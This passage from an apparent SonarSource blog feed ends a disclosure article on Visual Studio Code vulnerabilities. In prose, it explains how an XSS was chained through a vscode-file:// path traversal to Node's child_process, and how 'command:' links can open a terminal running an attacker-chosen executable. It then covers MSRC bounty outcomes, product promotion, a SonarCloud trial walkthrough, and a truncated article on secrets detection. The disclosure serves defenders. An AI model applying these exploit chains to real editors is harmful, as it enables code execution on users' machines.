opened project. While this information is not too sensitive, it did form an essential part of the next exploit step. The workbench UI is loaded from a different protocol (&lt;code&gt;vscode-file://&lt;/code&gt;), served by a custom handler. That handler contained a relative path traversal bug that would allow loading any file from disk via that protocol.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the exploit leaked the absolute path of the project folder in the previous step, the attackers could load a malicious HTML file under the privileged workbench protocol. Loading attacker-controlled HTML from that protocol now allowed them to use Node.js&amp;#x27;s &lt;code&gt;require&lt;/code&gt; function to load the &lt;code&gt;child_process&lt;/code&gt; module and execute arbitrary commands.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There were other vulnerabilities, such as &lt;a href=&quot;https://blog.doyensec.com/2022/10/27/jupytervscode.html&quot;&gt;CVE-2021-26437&lt;/a&gt;, discovered by Luca Carettoni, that could be exploited with a similar approach of escalating privileges by going up the webview tree and finally ending up in the privileged part of the UI. However, there exist also other ways that XSS can cause code execution without needing to jump through multiple hoops.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One example of this is &lt;a href=&quot;https://github.com/google/security-research/security/advisories/GHSA-pw56-c55x-cm9m&quot;&gt;CVE-2022-41034&lt;/a&gt;, discovered by &lt;a href=&quot;https://twitter.com/zemnmez&quot;&gt;Thomas Shadwell&lt;/a&gt;. He also found a way to execute JavaScript in an unprivileged webview, but instead of going the &lt;code&gt;postMessage()&lt;/code&gt; route, he just auto-clicked a &lt;code&gt;command:&lt;/code&gt; link.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These links can execute VSCode-internal commands, which are not as powerful as OS commands, but they can lead to the execution of arbitrary OS commands when using the right one. In this case, the &lt;code&gt;workbench.action.terminal.new&lt;/code&gt; command was used to spawn an integrated terminal with an attacker-controlled executable and arguments.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The existence of these &lt;code&gt;command:&lt;/code&gt; links sparked our interest to look for their other uses in VSCode. We discovered more vulnerabilities while researching this feature, this time in third-party extensions. Stay tuned for next week&amp;#x27;s blog post to learn more!&lt;/p&gt;&lt;h2&gt;Reporting to Microsoft&lt;/h2&gt;&lt;p&gt;Now that we&amp;#x27;ve seen a lot of ways that can lead to severe vulnerabilities in VSCode, we&amp;#x27;ll look at how to report them to Microsoft. The recommended way is to use the &lt;a href=&quot;https://msrc.microsoft.com/report/vulnerability&quot;&gt;vulnerability disclosure platform&lt;/a&gt; of Microsoft&amp;#x27;s Security Response Center (MSRC).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We found it to have better legal terms than most bug bounty platforms, and we had a good experience using it. It is a centralized interface for all steps of the disclosure process, but you can always email MSRC if something doesn&amp;#x27;t fit into the usual workflow.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first bug we found was the Git local-level configuration issue (CVE-2021-43891). We reported without expecting a big bounty, but Microsoft awarded us $30,000! Since we were surprised about the amount, we asked them &lt;em&gt;why&lt;/em&gt; we got that much but never got an answer.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One year later, we discovered another Git-related bug. This time, it was the argument injection in the protocol handler (CVE-2022-30129). After the issue was triaged, we waited for the bounty decision and got… nothing! After asking them about the difference in bug bounty payout, we got an answer this time:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&amp;quot;Case X was awarded due to our error. VS Code extensions, including those built in, were moved out of scope for bug bounty awards August 2020&amp;quot;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We were surprised to learn that even built-in extensions are not in scope for rewards, even though they are shipped with VSCode and enabled by default. While not leading to more bounties, the entirety of our research got us on the MSRC Leaderboards in Q2 2022, as well as Q2 and Q3 2023.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;In this blog post, we learned a lot about VSCode and its security landscape. We started with the code editor&amp;#x27;s architecture and then looked at five major attack surfaces, namely exposed network services, protocol handlers, workspace settings and local data, workspace trust, and XSS. We also touched on how to report vulnerabilities to Microsoft and our experience.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are using VSCode yourself, we want to emphasize that Workspace Trust is here to help. If you see the trust prompt, don&amp;#x27;t just click on &amp;quot;I trust&amp;quot; to get rid of the annoying dialog. We hope our blog post makes you think twice before trusting that random project you just cloned from GitHub! We like the principle of least surprise, so Workspace Trust is a very welcome addition to protect users.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we note that many developer tools are not built with security in mind. Many of them have to be retrofitted to meet today&amp;#x27;s security standards, but the burden of responsibility is still not clear. Is the user responsible for protecting themself, or should the tool be safe by default?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We will release two more blog posts that continue our series on Visual Studio Code&amp;#x27;s security in the coming weeks. Next Tuesday&amp;#x27;s article will cover vulnerabilities in third-party extensions used by millions. Stay tuned!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-argument-injection-in-vscode/&quot;&gt;Securing Developer Tools: Argument Injection in Visual Studio Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/&quot;&gt;Securing Developer Tools: Git Integrations&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Linux Foundation Chat: Open Source & Clean Code]]></title><description><![CDATA[Linux Foundation Executive Director Jim Zemlin joins Sonar Founder and co-CEO Olivier Gaudin to discuss Clean Code, open-source development, cybersecurity, and more! ]]></description><link>https://www.sonarsource.com/blog/linux-foundation-chat-open-source-clean-code</link><guid isPermaLink="false">3e7cc9cb-d5f1-5ce1-95ae-dbff4a94cfc6</guid><dc:creator><![CDATA[Katie Hyman]]></dc:creator><pubDate>Tue, 07 Nov 2023 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Sonar is a proud member of the &lt;a href=&quot;https://www.linuxfoundation.org/&quot;&gt;Linux Foundation&lt;/a&gt;, an organization committed to helping companies and developers identify and contribute to the projects that matter, providing a neutral, trusted hub for developers to code, manage, and scale open technology projects. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Recently, Linux Foundation Executive Director Jim Zemlin sat down with Sonar Founder and co-CEO Olivier Gaudin to discuss Clean Code, open source development, and genAI! Listen to their sentiments on these trending topics below, and you can find more information about the Linux Foundation in the Q&amp;amp;A at the end.&lt;/p&gt;&lt;h2&gt;PROVIDING FREE ACCESS TO HIGH-QUALITY TOOLS&lt;/h2&gt;&lt;p&gt;Jim and Olivier discuss the importance of bringing awareness to the free access of high-quality tools and getting the word out about Sonar&amp;#x27;s Clean Code solution in the open source community. Olivier highlights how focusing on education and tooling are key factors in this collaborative approach.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/5sHPQl_5YYE?si=tXRu_Q8I0sC2e5TG&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen&gt;&lt;/iframe&gt;&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/lp/products/sonarcloud-sonarqube/&quot;&gt;Learn more on how SonarCloud &amp;amp; SonarQube can enhance your open-source projects!&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;CLEAN AS YOU CODE&lt;/h2&gt;&lt;p&gt;Organizations typically change 20% of existing code every year. As complexity grows and software continues to evolve, developers inevitably touch existing code to make new changes. By adopting Sonar’s &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code &lt;/a&gt;approach, developers are able to focus on developing Clean Code and reduce technical debt as it establishes a standard expectation across the organization for all new code — added or changed.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/fdMUP598Zrk?si=-jGFkOxxVi0oNPP7&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen&gt;&lt;/iframe&gt;&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;GENERATIVE AI, DEVELOPER PRODUCTIVITY, AND RISK&lt;/h2&gt;&lt;p&gt;The growing popularity of genAI has brought many benefits to developers, greatly increasing productivity for users everywhere. However, Olivier brings up the potential risks junior developers may face in relying too much on AI-generated code, and why having code review tools is essential in avoiding common pitfalls.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/YTN595zmNzU?si=A6qqHj4_qi91V4GK&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen&gt;&lt;/iframe&gt;&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;WATCH THE FULL VIDEO HERE!&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/kfu0M0G591s&quot;&gt;Watch the full 45-minute video on YouTube&lt;/a&gt;, and learn some quick tidbits on the Linux Foundation in the below Q&amp;amp;A.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[BlogPost | 9 Steps to get the most out of your SonarCloud Trial]]></title><description><![CDATA[To maximize the benefits of your SonarCloud trial, it's essential to approach the trial with a clear plan. Start a 14-day trial for your private projects & repositories completely free to get all the features of the application that you can get as a paid subscription. ]]></description><link>https://www.sonarsource.com/blog/sonarcloud-trial-experience</link><guid isPermaLink="false">cbd0c744-5b6b-539d-acd6-ddb3f3ada558</guid><dc:creator><![CDATA[Zoe Bell]]></dc:creator><pubDate>Sat, 04 Nov 2023 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Embarking on a SonarCloud trial is the first step towards ensuring your codebase is of the highest quality. But to maximize the benefits, it&amp;#x27;s essential to approach the trial with a clear plan. In this blog, we&amp;#x27;ll guide you on how to make the most of your SonarCloud trial period.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Lucky for you, you can start a &lt;strong&gt;14-day trial for your private projects and repositories completely free&lt;/strong&gt; (public projects are &lt;em&gt;always&lt;/em&gt; free). A SonarCloud trial gets you all the features of the application that you can get as a paid subscription. If you’d like to test out SonarCloud before committing to &lt;a href=&quot;https://www.sonarsource.com/plans-and-pricing/#sonarcloud&quot;&gt;purchase&lt;/a&gt;, it’s important that you make the most out of your limited time to get comfortable with the tool and understand if it fits your needs.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Getting started with SonarCloud is easy.  You don’t need to speak with a sales rep or request a license key. Just follow these simple steps to maximize the usage of your SonarCloud trial:&lt;/p&gt;&lt;h2&gt;1. Integrate with your Development Environment&lt;/h2&gt;&lt;p&gt;Visit the &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/signup/&quot;&gt;SonarCloud Sign Up page&lt;/a&gt; to create your free SonarCloud account through your preferred DevOps development environment. Connect it with your preferred platform, be it GitHub, Bitbucket, GitLab, or Azure DevOps. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This will enable real-time feedback, making it easier to catch and rectify code issues as they arise. Your SonarCloud signup account is created and bound to your account on the DevOps platform that you choose. In this blog, we will use GitHub as an example, but you can choose a different provider based on your preference. As a new user, SonarCloud will prompt you to connect your GitHub organization with SonarCloud. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/35d434f7-b54a-4691-877e-d7125d01e786/sonarcloud-trial-sign-up-form.png&quot; /&gt;&lt;h2&gt;2. Set up your organization in SonarCloud&lt;strong&gt; &lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;You can choose one of your existing organizations, join an organization, or create a new organization. An organization is a space where a team or a whole company can collaborate across many projects. On import, a corresponding organization is created in SonarCloud based on the information you provide. All members from your GitHub organization will be added to your SonarCloud organization. As they connect to SonarCloud with their GitHub account, members will automatically have access to your organization. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/62dd46a8-df30-4b4e-9d80-81cc63a42495/welcome-to-sonarcloud-image.png&quot; /&gt;&lt;h2&gt;3. Choose your plan &lt;/h2&gt;&lt;p&gt;Next, it’s time to choose your SonarCloud plan. You can start a no-commitment, 14-day trial of SonarCloud for your private repositories completely free by choosing the Paid Plan option. A credit card is required to start your trial. However, please remember that your credit card will not be charged until after your trial has ended and you can analyze private projects for free during your trial period. You will receive an email reminder 3 days before this happens and can cancel your trial at any time! The pricing is based on Lines of Code (LOC) analyzed in private projects. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0f9a2dbd-941b-456e-aa08-33809d062fd4/sonarcloud-choose-a-plan.png&quot; /&gt;&lt;h2&gt;4. Select the repository you want to analyze&lt;/h2&gt;&lt;p&gt;GitHub projects are grouped into GitHub organizations or personal accounts. The next step is to import the projects (that is, individual Git repositories) that you want to analyze from your GitHub organization into your newly created SonarCloud organization. A corresponding, one-to-one SonarCloud project will be created for each imported repository. SonarCloud will present a list of the repositories in your GitHub organization; choose the projects you want to import and select Set Up to get started. Each imported repository becomes a SonarCloud project. Once you import a project, it appears in your Projects list and is ready to be analyzed.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/265a617a-c26f-4a57-ac0a-04069b1e40b0/sonarcloud-analyze-projects.png&quot; /&gt;&lt;p&gt;The next step is to set the new code definition (NCD) for your project(s). The NCD is a mandatory step and it defines which part of your code is considered &lt;em&gt;new code&lt;/em&gt;.  When you do an analysis on your main branch (or other long-lived branches), SonarCloud uses the new code definition to determine which issues you should focus on fixing and highlights these as &lt;em&gt;issues in new code&lt;/em&gt;. This helps you to focus your attention on the most recent changes to your code and allows you to follow the &lt;a href=&quot;https://docs.sonarcloud.io/improving/clean-as-you-code/&quot;&gt;Clean as You Code&lt;/a&gt; (CaYC) methodology. The guidance to pick the right NCD is provided in the &lt;a href=&quot;https://docs.sonarcloud.io/improving/new-code-definition/&quot;&gt;docs&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;5. Run your first analysis! &lt;/h2&gt;&lt;p&gt;For GitHub repositories, there are two analysis methods available: Automatic analysis and CI-based analysis. &lt;a href=&quot;https://docs.sonarcloud.io/advanced-setup/automatic-analysis/&quot;&gt;Automatic analysis&lt;/a&gt; will be triggered instantly for most languages. You can also set up the analysis on your CI/CD tool in just a few minutes. From now on, all new pull requests and your main branch will be automatically analyzed. It’s that easy! For more information, we encourage you to check out this additional &lt;a href=&quot;https://www.sonarsource.com/lp/products/sonarcloud/features/auto-analysis-for-c-and-cpp/&quot;&gt;interactive demo&lt;/a&gt; which offers a step-by-step walkthrough of automatic analysis of C and C++ projects! Note that SonarCloud supports all the &lt;a href=&quot;https://docs.sonarcloud.io/advanced-setup/languages/overview/&quot;&gt;popular programming languages&lt;/a&gt; to ensure that all of your needs are covered.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During the next 14 days, you will have access to SonarCloud’s full features and functionalities. We recommend trying out the the next four steps to learn more and getting familiar with SonarCloud. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/bda89864-317e-4adb-9558-0d3ec3ee5c55/sonarcloud-demo-dashboard.png&quot; /&gt;&lt;h2&gt;6. Explore SonarCloud&lt;strong&gt; &lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;Now that you have completed the first analysis, it is time to explore the SonarCloud user interface and dashboard.&lt;strong&gt; &lt;/strong&gt;The SonarCloud dashboard offers a wealth of information. Spend time understanding metrics like Bugs, Vulnerabilities, and Code Smells that help reduce Technical Debt. By familiarizing yourself with these, you can prioritize the issues that need immediate attention.&lt;/p&gt;&lt;h2&gt;7. Quality Profiles and Quality Gates&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://docs.sonarcloud.io/standards/managing-quality-profiles/&quot;&gt;Quality profiles&lt;/a&gt; in SonarCloud are a crucial part of your configuration, as they specify the rules applied during code analysis. Each project can support multiple languages, and SonarCloud automatically selects the appropriate quality profile for each language in that project. To view the defined profiles organized by language, navigate to your organization&amp;#x27;s Quality Profiles section. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By default, SonarCloud includes a built-in quality profile for each supported language, referred to as the Sonar way profile (indicated with the &amp;quot;BUILT-IN&amp;quot; tag). This profile activates a set of rules suitable for most projects. &lt;a href=&quot;https://docs.sonarcloud.io/standards/managing-quality-gates/&quot;&gt;Quality Gates&lt;/a&gt; are another powerful feature in SonarCloud, allowing you to define criteria that your code must meet before it&amp;#x27;s merged or released. During your trial, set up a Quality Gate and adjust its criteria to match your objectives. In SonarCloud, code quality and security standards are enforced through quality gates. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After analysis, the quality gate takes the resulting metrics and compares them to its defined thresholds to determine if the code meets the requirements for release or merge. Every organization has the built-in Sonar way Quality Gate set as the default that is suitable for most projects. If there are cases where you may want to make adjustments, you can create a new quality gate definition and make it available to projects in the organization or set it as the default for all new projects.  To create a new quality gate definition in an organization, you must be an administrator of that organization. &lt;/p&gt;&lt;h2&gt;8. Dive Deep into the Issues&lt;strong&gt; &lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;While running an analysis, SonarCloud raises an issue every time a section of code breaks a coding rule. The set of coding rules is defined through the associated &lt;a href=&quot;https://docs.sonarcloud.io/standards/managing-quality-profiles/&quot;&gt;quality profile&lt;/a&gt; for each language in the project. Instead of just skimming through the reported &lt;a href=&quot;https://docs.sonarcloud.io/digging-deeper/issues/&quot;&gt;issues&lt;/a&gt;, dive deep. Understand why a particular piece of code is flagged, learn from the explanations provided, and apply the recommendations. It&amp;#x27;s an educational journey that will improve your coding skills. To see an example of how Learn as You Code is implemented within SonarCloud, check out our &lt;a href=&quot;https://www.sonarsource.com/lp/products/sonarcloud/demo/&quot;&gt;interactive demo&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/91ead1aa-d6fc-4192-88fa-d9290866ccb0/sonarcloud-web-app-dashboard-issues.png&quot; /&gt;&lt;h2&gt;9. Explore the PR Analysis&lt;/h2&gt;&lt;p&gt;One of SonarCloud&amp;#x27;s standout features is &lt;a href=&quot;https://docs.sonarcloud.io/improving/pull-request-analysis/&quot;&gt;Pull Request (PR) analysis&lt;/a&gt;. Test this feature by creating a PR in your repository. This ensures that every piece of code introduced is analyzed before merging, making your main branch more resilient. SonarCloud decorates the pull request interface of the repository service (GitHub and others), providing the results of its code analysis on the PR branch right in the interface and granting or denying approval of the pull request depending on quality gate criteria. In effect, this augments human code review with automatic code review. &lt;/p&gt;&lt;h2&gt;Additional Tips for Your SonarCloud Trial Period&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here are some of our recommendations to ensure that you are taking advantage of SonarCloud has to offer these next two weeks:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Get your whole team involved! &lt;/h3&gt;&lt;p&gt;This doesn’t have to be a party for one! With SonarCloud, you can add an unlimited number of users to your private organization, even during your trial period. Membership of an organization is managed on the Members page. This is a great way to test SonarCloud for its team benefits.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Get Familiar with SonarCloud’s Core Concepts&lt;/h3&gt;&lt;p&gt;SonarCloud offers tutorials covering many of the tool’s core concepts - Clean as You Code, New vs Overall Code, Quality Gates, and Pull Requests. These lessons will help you understand the core concepts behind SonarCloud, enabling you to get the most out of the product. To start these tutorials, click on the question mark in the navigation and click on “Core Concepts.” &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c8b8be4f-63fc-4914-861f-812650944650/sonarcloud-core-concepts-menu.png&quot; /&gt;&lt;h2&gt;SonarLint IDE integration&lt;/h2&gt;&lt;p&gt;Add the &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; extension to your favorite IDE and find code issues on the fly. SonarCloud rules and analysis settings synchronize to SonarLint, aligning teams around a single standard of Clean Code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;To recap, at a high level, during your SonarCloud trial, you can expect the following: &lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The ability to analyze both public and private projects. If you only want to analyze public projects, you do not need to start a trial, as this is always free&lt;/li&gt;&lt;li&gt;The ability to add unlimited members to your free or private organizations&lt;/li&gt;&lt;li&gt;Access to all SonarCloud features and functionalities&lt;/li&gt;&lt;li&gt;In-product tutorials and notifications that cover key concepts&lt;/li&gt;&lt;li&gt;Coverage for all the popular programming languages&lt;/li&gt;&lt;li&gt;Email notifications for when your credit card will be charged so that you can cancel at any time&lt;/li&gt;&lt;li&gt;SonarLint IDE integration&lt;/li&gt;&lt;li&gt;Community Support&lt;/li&gt;&lt;li&gt;And more!&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What are you waiting for? SonarCloud helps you consistently deliver cleaner, safer software that future developers will appreciate and your users will love, and getting started with your private and public projects couldn’t be easier! Visit the &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/signup/&quot;&gt;SonarCloud Sign Up page&lt;/a&gt; to create your free SonarCloud account through your preferred DevOps platform and start your 14-day trial. In no time, you’ll be writing clean, issue-free code that’s ready for production! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[BlogPost | Shifting Right for Secure Platforms and DevOps]]></title><description><![CDATA[Dev tooling is not only helping shift issues left, but the tools also help identify issues that happen later, or to the right, in the development lifecycle. Like detecting secrets before they go into production or platform configuration issues.]]></description><link>https://www.sonarsource.com/blog/shifting-right-for-secure-platforms-and-devops</link><guid isPermaLink="false">a7ff00da-de74-56fb-bf84-089bbba3f8dd</guid><dc:creator><![CDATA[Ben Dechrai]]></dc:creator><pubDate>Wed, 25 Oct 2023 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I still remember in the early days of my software engineering career, working with the systems administrators to set up Subversion commit hooks to automatically reject commits that didn’t pass tests. Heck, I even wrote a tool that would convert spaces to tabs on commit, and back to spaces on check out, based on the preferences of the individual developer. As a recovering people-pleaser, I can admit that was probably overkill. (Oh, I might be showing my age; Subversion is what we used back before Git was a thing.)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But what was real overkill, was that the tests which ran on the code repository server took a few minutes, which would cause the commit process to hang until they were finished. I drank a lot of coffee on heavy-commit days!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I was trying to catch failures for tests that the developers didn’t run. And because these commit hooks had to be completed before you could carry on coding, the delays incurred were more frustrating than the inconvenience of having to wait to find out when staging environment builds failed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Roll on 20 years, and we’re still trying to solve the same issues, albeit with much more success than in the early 2000s. We’re testing right in our development environments, and even have the ability to let a remote stakeholder look at the application running on our machine before even committing changes to the code repository.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We’ve been shifting left for decades. In fact, you might be surprised that “shift left” as a term was actually coined in 2001 when &lt;a href=&quot;https://www.drdobbs.com/shift-left-testing/184404768&quot;&gt;Larry Smith introduced the idea of testing early in the development lifecycle&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I&amp;#x27;d like to propose the idea that, while we’ve been shifting left in the software development lifecycle for decades, developer tooling has more recently expanded its focus to include the righthand side of the software deployment lifecycle.&lt;/p&gt;&lt;h2&gt;Defining “Shift Left”&lt;/h2&gt;&lt;p&gt;In essence, “shift left” is a practice that aims to identify and fix defects as early as possible in the development process. This can be done by shifting testing, security, and other quality assurance activities earlier in the process. Shifting left lets you identify and fix defects early, leading to:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Reduced costs&lt;/li&gt;&lt;li&gt;Improved software quality&lt;/li&gt;&lt;li&gt;Increased speed of software development&lt;/li&gt;&lt;li&gt;Reduced risks of software failures&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;How can Clean Code help?&lt;/h2&gt;&lt;p&gt;If you’re a frequent reader of the Sonar blog, you’ll probably know that we’re huge proponents of writing Clean Code. We don’t do this just to measure code quality as a way to increase maintainability and readability of the code for the future; we also love detecting bugs, code smells, and vulnerabilities before they get into production. This is the ultimate in shift-left approaches, but it’s not just about the code we write, it’s about what happens to that code next.&lt;/p&gt;&lt;h2&gt;The Way We Deploy&lt;/h2&gt;&lt;p&gt;What’s interesting today, compared to 20 years ago, is the way we deploy our code, from staging to production. I remember asking our systems administrator to provision a new virtual host on one of our Apache-based web servers. Sometimes, I’d even ask her for a whole new server! (And sometimes I’d do it myself on a server hiding under my desk. Hey, WWW stood for Wild West Web back then!)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And when it came to software deployment, continuous integration meant using WinFTP to transfer the files across manually. Having a server perform an `svn pull`, or even pull files automatically via FTP, was considered bleeding edge!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Of course, nowadays, we have little idea of what goes on under the hood. When I push code to a GitLab repository, and my Continuous Integration and Continuous Deployment (CI/CD) pipeline starts a new deployment process into a new virtual machine, I’d like to believe it’s completely autonomous and automated, but I have no idea if it’s actually kicked off by a caffeine-powered human somewhere in the world. It’s possible that I owe someone a lot of coffees.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But in all seriousness, in order to deploy autonomously and consistently, we’re using Infrastructure as Code (IaC) nowadays, from Kubernetes templates to Docker configuration. These can also be tested, reviewed, secured, and because they are considered code, can even be tested for “clean code”.&lt;/p&gt;&lt;h2&gt;Testing the Code of Infrastructure&lt;/h2&gt;&lt;p&gt;If we can define our infrastructure as code, we can test it. Perhaps not quite in the same way as we would test an NPM module or C++ class, but we can test it for cleanliness. By testing this type of code, we can also detect bugs and vulnerabilities in the resulting software.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While this can be done during the coding phase of the development lifecycle, the benefit still firmly sits on the righthand side. Compare this to testing, for example, which is both performed earlier in the process, and also benefits the earlier stages of the process, CI/CD code checking can be performed earlier, but doesn’t benefit us until later.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is the “shift right” aspect to which I’m alluding in this article. While we’ve benefitted from “shift left” for quite some time now, we’re also seeing the tools we use broadening their focus to include the right side of the deployment lifecycle. That is, we’re still performing the development and testing up-front, but we’re also seeing IDE plugins like &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;, and CI/CD pipeline tools like &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; and &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt; help identify issues that won’t actually manifest until the software is deployed in staging or production.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s have a look at two examples of such issues that wouldn’t have a big impact during the local development process: secrets detection and platform configuration.&lt;/p&gt;&lt;h2&gt;Secrets Detection&lt;/h2&gt;&lt;p&gt;Secrets are typically pieces of confidential data that should be kept secure, such as API keys, passwords, cryptographic keys, access tokens, and other credentials.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The primary goals of secrets detection in the testing phase are:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;To prevent sensitive information from being inadvertently exposed or leaked, which could lead to security breaches or unauthorized access to systems and data.&lt;/li&gt;&lt;li&gt;To ensure that software applications comply with security best practices and regulatory requirements, such as the General Data Protection Regulation (GDPR) or the Payment Card Industry Data Security Standard (PCI DSS).&lt;/li&gt;&lt;li&gt;To reduce the risk associated with secrets exposure, which can have significant financial and reputational consequences for 